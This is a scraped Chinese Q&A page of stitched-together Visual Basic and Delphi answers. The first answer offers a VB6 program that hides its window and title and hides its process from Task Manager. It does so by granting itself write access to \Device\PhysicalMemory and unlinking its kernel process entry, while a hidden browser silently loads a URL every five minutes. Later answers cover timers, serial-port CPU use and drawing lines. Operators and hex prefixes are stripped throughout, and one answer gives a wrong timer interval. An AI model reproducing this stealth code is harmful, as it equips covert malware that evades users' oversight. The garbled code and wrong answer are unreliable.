问一个VB的简单的代码,请回答~谢谢
'需添加部件“工程》部件》Microsoft Internet Controls
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'添加一个"WebBrowser"和一个"Timer"
Private Sub Form_Load()
App.Title = "" '这样可以很方便地将程序从任务管理器的应用程序界面隐藏
Call HideCurrentProcess '隐藏进程
Hide '隐藏窗口
Timer1.Interval = 60000 '定义时间间隔1分钟...
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Static a As Integer
a = a + 1
If a = 5 Then WebBrowser1.Navigate "": a = 0 '每5分钟执行一次，只需修改引号内网址就行。
End Sub
'添加模块
'下边为隐藏进程的模块：
'-------------------------------------------------------------------------------------
'模块名称：modHideProcess.bas
'
'模块功能：在 XP/2K 任务管理器的进程列表中隐藏当前进程
'
'使用方法：直接调用 HideCurrentProcess()
'
'模块作者：检索自互联网，原作者不详。
'
'修改日期：2006/08/26
'---------------------------------------------------------------------------------------
Option Explicit
Private Const STATUS_INFO_LENGTH_MISMATCH = HC0000004
Private Const STATUS_ACCESS_DENIED = HC0000022
Private Const STATUS_INVALID_HandLE = HC0000008
Private Const ERROR_SUCCESS = 0
Private Const SECTION_MAP_WRITE = H2
Private Const SECTION_MAP_READ = H4
Private Const READ_CONTROL = H20000
Private Const WRITE_DAC = H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = H4
Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End Type
Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End Type
Private Const OBJ_INHERIT = H2
Private Const OBJ_PERMANENT = H10
Private Const OBJ_EXCLUSIVE = H20
Private Const OBJ_CASE_INSENSITIVE = H40
Private Const OBJ_OPENIF = H80
Private Const OBJ_OPENLINK = H100
Private Const OBJ_KERNEL_HandLE = H200
Private Const OBJ_VALID_ATTRIBUTES = H3F2
Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End Type
Private Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type
Private Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum
Private Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum
Private Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum
Private Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum
Private Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End Type
Private Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End Type
Private Type AceArray
List() As EXPLICIT_ACCESS
End Type
Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum
Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, _
ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As _
Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, _
ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As _
Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As _
Long
Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias _
"SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries _
As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias _
"BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal _
pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As _
ACCESS_MODE, ByVal Inheritance As Long)
Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As _
UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, _
ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As _
Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As _
Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal _
dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As _
Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination _
As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" _
(LpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private verinfo As OSVERSIONINFO
Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte
Public Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程
Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = HA0
lOffsetBlink = HA4
lOffsetPID = H9C
Case 1
lOffsetFlink = H88
lOffsetBlink = H8C
lOffsetPID = H84
End Select
End If
End If
End If
If OpenPhysicalMemory 0 Then
thread = GetData(HFFDFF124)
process = GetData(thread + H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub
Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS
GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, _
pDacl, 0, pSD
ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" vbNullChar
SetEntriesInAcl 1, ea, pDacl, pNewDacl
SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, _
ByVal pNewDacl, 0
CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub
Private Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES
RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, _
Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, _
Attributes)
End If
Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lDirectoty = H30000
Case 1
lDirectoty = H39000
End Select
End If
End If
End If
If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, H1000)
If g_pMapPhysicalMemory 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function
Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long
VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))
PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4
If (PGDE And 1) 0 Then
lTemp = PGDE And H80
If lTemp 0 Then
PAddr = (PGDE And HFFC00000) + (VAddr And H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And HFFFFF000, H1000)
lTemp = (VAddr And H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4
If (PTE And 1) 0 Then
PAddr = (PTE And HFFFFF000) + (VAddr And HFFF)
UnmapViewOfFile PGDE
End If
End If
End If
LinearToPhys = PAddr
End Function
Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long
phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And HFFFFF000, H1000)
If tmp 0 Then
ret = tmp + ((phys And HFFF) / (2 ^ 2)) * 4
CopyMemory ret, ByVal ret, 4
UnmapViewOfFile tmp
GetData = ret
End If
End Function
Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long
phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And HFFFFF000, H1000)
If tmp 0 Then
x = tmp + ((phys And HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4
UnmapViewOfFile tmp
SetData = True
End If
End Function
Private Function ByteArrToLong(inByte() As Byte) As Double
Dim I As Integer
For I = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(I) * (H100 ^ I)
Next I
End Function
*************************
不懂给我留言
用VB.NET程序编写代码
Delphi代码如下：
procedure TForm1.Button1Click(Sender: TObject);
var
购物总价:Integer;
折扣:Extended;
begin
购物总价:=StrToInt(Edit1.Text);
if 购物总价250 then
begin
折扣:=0;
end
else if 购物总价500 then
begin
折扣:=0.05;
end
else if 购物总价1000 then
begin
折扣:=0.075;
end
else if 购物总价2000 then
begin
折扣:=0.1;
end
{
此段的折扣是多少？
else if 购物总价3000 then
begin
折扣:=0.05;
end
}
else if 购物总价=3000 then
begin
折扣:=0.15;
end;
ShowMessage('您享受的折扣是：'+FloatToStr(折扣)
+' 原价：'+IntToStr(购物总价)
+' 折后总价：'+FloatToStr(购物总价*(1-折扣)));
end;
为了使计时器控件Timer1每隔1秒触发一次Timer事件，应将Timer1控件的______属性设置为_______。
Timer1——Interval=500
vb的问题，我用的mscomm控件，需要用一个timer控件，间隔时间1s，在timer控件中循环执行下面代码六次。
循环执行六次然后cpu就特别高，达到100%了，这是为什么呢?
我查看了循环执行六次程序代码：
Dim inbyte8() As Byte
Dim yanzheng12 As String
Dim com(7) As Byte
com(0) = 136
com(1) = com(0)
com(2) = 82
com(3) = 1
com(4) = 0
com(5) = 0
com(6) = 90
com(7) = 1
MSComm1.CommPort = 1
MSComm1.PortOpen = True
MSComm1.Settings = "4800,n,8,2"
MSComm1.InputMode
comInputModeBinary
MSComm1.Output = com
Dim t As Single
t = Timer
While Timer t + 0.2
DoEvents
Wend
inbyte8 = Form1.MSComm1.Input
yanzheng12 = inbyte8
最后我将下列：
MSComm1.CommPort = 1
MSComm1.PortOpen = True
MSComm1.Settings = "4800,n,8,2"
MSComm1.InputMode
comInputModeBinary
这些移到form_load()
里面去再测试了下，问题解决。
扩展资料：
先看一段代码：
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Me.Timer1.Enabled = False
MessageBox.Show("测试")
End Sub
对于VB.NET初学者，一般会认为在执行“ Me.Timer1.Enabled = False”语句后，Timer1_Tick过程就会中断并跳出Sub，之后不会弹出"测试"对话框，这其实是错误的，本段代码会弹出"测试"对话框。
步骤1中的代码只是对这一问题进行的最简单的说明，当Timer1_Tick过程代码有多行时，特别是逻辑关系比较复杂时，一定要注意这一点，以防止出现逻辑错误。步骤1中的代码如果不想弹出"测试"对话框，可以将代码修改为如下所示：
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Me.Timer1.Enabled = False
Exit Sub
MessageBox.Show("测试")
End Sub
上述就是VB.NET中Timer控件使用过程容易出错的地方之一。
跪求vb.net代码
新建窗口，添加picture控件
利用line()方法画线
line(开始x坐标,开始y坐标)-(结束x坐标,结束y坐标),线的颜色，画线的方式(默认为线，B为矩形无填充，BF为填充的矩形)
For i = 1 To 16
Picture1.Line (0, Picture1.Height / 2)-(i * (Picture1.Width / 16), 0), RGB(255, 0, 0)
Picture1.Line (0, Picture1.Height / 2)-(i * (Picture1.Width / 16), Picture1.Height), RGB(255, 0, 0)
Picture1.Line (Picture1.Width, Picture1.Height / 2)-(i * (Picture1.Width / 16), 0), RGB(0, 255, 0)
Picture1.Line (Picture1.Width, Picture1.Height / 2)-(i * (Picture1.Width / 16), Picture1.Height), RGB(0, 255, 0)
Next i
如果要在窗口上画也可以调用窗口的line方法即form.line()
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